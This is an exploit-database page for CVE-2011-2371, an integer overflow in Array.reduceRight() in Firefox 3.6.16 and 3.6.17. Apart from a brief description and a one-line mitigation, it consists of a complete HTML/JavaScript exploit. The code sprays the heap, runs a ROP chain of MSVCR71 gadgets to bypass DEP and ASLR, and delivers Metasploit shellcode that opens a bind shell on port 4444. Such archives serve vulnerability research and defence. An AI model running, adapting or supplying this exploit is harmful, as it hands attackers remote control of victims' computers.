header-logo
Suggest Exploit
vendor:
Firefox
by:
Matteo Memelli

Mozilla Firefox Array.reduceRight() Integer Overflow Exploit

The Mozilla Firefox browser is vulnerable to an integer overflow exploit in the Array.reduceRight() function. This vulnerability allows an attacker to bypass DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) protections using a Java MSVCR71 sayonara rop chain. The exploit has been tested on Windows 7 Ultimate with Firefox versions 3.6.16 and 3.6.17.

Mitigation:

Upgrade to a patched version of Mozilla Firefox. Apply the latest security updates.
Source

Exploit-DB raw data:

# Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit
# Date: 12 Oct 2011
# Author: Matteo Memelli  ryujin -AT- offensive-security.com
# CVE-2011-2371
# Full exploit package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip

<html>
<head>
<title>ff-i-<3-u</title>
</head>
<body>
<center>
<br />
Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit<br />
Date: 12 Oct 2011<br />
Author: Matteo Memelli  ryujin -AT- offensive-security.com<br />
CVE-2011-2371<br />
Full exploit package: <br />
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip <br />
<br />
Thx to dookie for helping ;)<br/>
Vulnerability discovered by Chris Rohlf and Yan Ivnitskiy of Matasano Security<br />
http://www.mozilla.org/security/announce/2011/mfsa2011-22.html<br/>
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2371<br/>
DEP / ASLR bypassing through JAVA MSVCR71 sayonara rop chain<br/>
Tested on Windows 7 Ultimate / firefox 3.6.16 and 3.6.17<br/><br/>
<APPLET id="MyApplet" code="ph33r.class" width=150 height=50>
You need a Java-enabled browser to pwn this.
</APPLET>
</center>
<script type="text/javascript">
var applet = document.getElementById('MyApplet');

function spray() {
        // fake object pointers
        var ptrs = unescape("%u4141" +       // padding
                            // MOV EDX,DWORD[ESI] 0c000048=0c00007c
                            "%u0048%u0c00" +
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141"       + // padding
                            // PIVOT MSVCR71.dll 0x7C370EEF LEA ESP,[ESI-3]
                            //                              RETN 1C75
                            "%u0EEF%u7C37" + 
                            "%u4141%u4141" + // padding
                            "%u4141"       + // padding
                            "%u240c%u3410" + // 3410240c RETN after PIVOT
                            "%u007c%u0c00" + // 0c00007c PTR TO END OF BUFFER
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u002e%u0c00"); // 0c00007c -> 0c00002e 
                                             // CALL PIVOT 0x7C370EEF
                                
        var bheader    = 0x12/2; // u.n.d.e.f.i.n.e.d. string 
                                 // beginning of each array element
        var nullt      = 0x2/2;  // string null terminator
        
        // 0:000> ? 0c001cbe   - 0c000012  
        // Evaluate expression: 7340 = 00001cac
        var espoffset  = (7340 /2) - ptrs.length;
        var esppadding = unescape("%u0c0c%u0c0c"); 
        while(esppadding.length < espoffset) {esppadding += esppadding;}
        esppadding = esppadding.substring(0, espoffset);

        // sayonara rop chain
        rop  = unescape("%u4cc1%u7c34"); // pop eax;ret;
        rop += unescape("%u10c2%u7c34"); // pop ecx;pop ecx;ret;
        rop += unescape("%u2462%u7c34"); // xor chain; call eax {0x7C3410C2}
        rop += unescape("%uc510%u7c38"); // writeable loc for lpflOldProtect
        rop += unescape("%u5645%u7c36"); // pop esi;ret;
        rop += unescape("%u5243%u7c34"); // ret;
        rop += unescape("%u8f46%u7c34"); // pop ebp;ret;
        rop += unescape("%u87ec%u7c34"); // call eax;
        rop += unescape("%u4cc1%u7c34"); // pop eax;ret;
        rop += unescape("%ufdff%uffff"); // {size}
        rop += unescape("%ud749%u7c34"); // neg eax;ret; {adjust size}
        rop += unescape("%u58aa%u7c34"); // add ebx, eax;ret; {size into ebx}
        rop += unescape("%u39fa%u7c34"); // pop edx;ret;
        rop += unescape("%uffc0%uffff"); // {flag}
        rop += unescape("%u1eb1%u7c35"); // neg edx;ret; {adjust flag}
        rop += unescape("%u4648%u7c35"); // pop edi;ret;
        rop += unescape("%u30ea%u7c35"); // mov eax,[eax];ret;
        rop += unescape("%u4cc1%u7c34"); // pop eax;ret;
        rop += unescape("%ua181%u7c37"); // (VP RVA + 30 - {0xEF adjustment}
        rop += unescape("%u5aeb%u7c35"); // sub eax,30;ret;
        rop += unescape("%u8c81%u7c37"); // pushad; add al,0xef; ret;
        rop += unescape("%u683f%u7c36"); // push esp;ret;
        rop += unescape("%ubc90%u0c0c%u0c0c"); // NOP / MOV ESP,0x0c0c0c0c

        // windows/shell_bind_tcp - 341 bytes
        // http://www.metasploit.com
        // VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
        // InitialAutoRunScript=, AutoRunScript=
        var shell = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +
                             "%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +
                             "%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +
                             "%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +
                             "%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +
                             "%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +
                             "%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +
                             "%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
                             "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +
                             "%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +
                             "%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +
                             "%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +
                             "%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +
                             "%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +
                             "%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +
                             "%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +
                             "%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +
                             "%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +
                             "%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +
                             "%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +
                             "%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +
                             "%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +
                             "%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +
                             "%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +
                             "%u006a%uff53%u41d5");
        rop += shell;

        var tr_padding = unescape("%u0c0c%u0c0c"); 
        while(tr_padding.length < 0x80000) {tr_padding += tr_padding;}

        var dummy = ptrs + esppadding + rop + tr_padding;  
        var hspray = dummy.substring(0,0x80000 - bheader - nullt);    

        // Allocation of 64 blocks of 1Mb.
        HeapBlocks = new Array()
        for (i=0;i<0x40;i++){
            HeapBlocks[i] += hspray;
        }
  }

spray();
hola = new Array;
hola.length = 2197815302;  // 0x0c000014 beginning of sprayed block

w00t = function ph33r(prev, myobj, indx, array) {
  alert(myobj[0]); // trigger getProperty
}

hola.reduceRight(w00t,1,2,3);

</script>
</body>
</html>